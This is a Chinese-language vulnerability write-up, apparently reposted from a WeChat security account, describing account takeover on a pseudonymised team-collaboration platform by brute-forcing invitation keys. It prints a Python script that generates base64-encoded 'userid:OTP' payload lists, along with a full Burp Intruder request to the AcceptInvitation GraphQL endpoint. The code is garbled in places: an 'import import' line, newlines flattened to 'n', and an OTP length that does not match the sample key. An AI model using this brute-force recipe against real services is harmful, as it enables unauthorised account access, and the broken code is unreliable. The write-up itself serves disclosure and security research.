ExampleSpark(保密的化名)是一个强大的平台,专为团队管理和项目 协作而设计。它为管理用户、项目和权限提供了全面的工具,使其成为 探索安全漏洞的有吸引力的目标。我发现的漏洞是允许低特权用户访问和接受针对其他用户的邀请。如果 有效利用,这个缺陷可能会导致未经授权的访问和帐户接管。
复现步骤:
邀请用户:
登陆低权限用户,提取用户 ID 和 OTP
1.转到团队管理部分,选择受邀用户。
准备字典:
import import
def generate_otp():
# Generate a random 7-digit alphanumeric OTP
characters="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
otp=''.join(random.choice(characters)for i in range(7))
return otp
def convert_to_base64(data):
# Convert the data to base64
data_bytes = data.encode('utf-8')
base64_encoded = base64.b64encode(data_bytes).decode('utf-8')
return base64_encoded
user_id = "018dee9c-a9be-04f8-0000-fb5b23eef4d2"
num_otps = 1000
payload_list = []
for _ in range(num_otps):
otp = generate_otp()
payload =f"{user_id}:{otp}"
base64_payload = convert_to_base64(payload)
payload_list.append(base64_payload)
for i, payload in enumerate(payload_list, start=1):
print(f"Payload {i}: {payload}")
用 Burpsuite 中的 Intruder 发送带有 payload 的 post 请求
POST /graphql/frontend?n=AcceptInvitation HTTP/2
Host : app.examplespark.com
Cookie : [session cookies]
Content-Length: 616
Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json Accept: */*
X-Graphql-Operation: AcceptInvitation
Sec-Ch-Ua-Platform: "Linux"
Origin: https://app.examplespark.com
Referer: https://app.examplespark.com/invitations/MDE4ZGVkZWUtZWZiZS0wNGY4LTA wMDAtN2I4YWRmZDAwYjQ1OjAxMzI2NQ {"operationName":"AcceptInvitation","variables":{"invitation_key":"" ,"name":"","password":""},"query":"mutation AcceptInvitation($invitation_key: String!, $name: String!, $password: String!) {n accept_invitation(n input: {invitation_key: $invitation_key, name: $name, password: $password}n ) {n account_idn user {n idn statusn ...AuthUserLoginn __typenamen }n __typenamen }n}nnfragment AuthUserLogin on User {n idn emailn display_namen session_valid_untiln __typenamen}"}
选择 invitation_key 参数并启动攻击。
帐户接管:
- 返回长度1142 且响应状态码200 OK 表示成功接受邀请。
- 一旦确定了正确的 OTP,攻击者就可以接受邀请并获得未经授权的访问,这可能会根据受邀用户的角色升级特权。
接受邀请处对用户鉴权操作较弱,且邀请码是经过简单的base64加密,用户userId可以直接获取,需要遍历的是otp,所以编写了脚本生成userid:opt进行base64加密后的字典,由此就可以利用低权限账户去遍历邀请码,可导致他人不在同意的状态下加入组织,而组织对已加入的成员具敏感数据访问权限。
原文始发于微信公众号(Undoubted Security):【漏洞实例】记一次账户接管
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论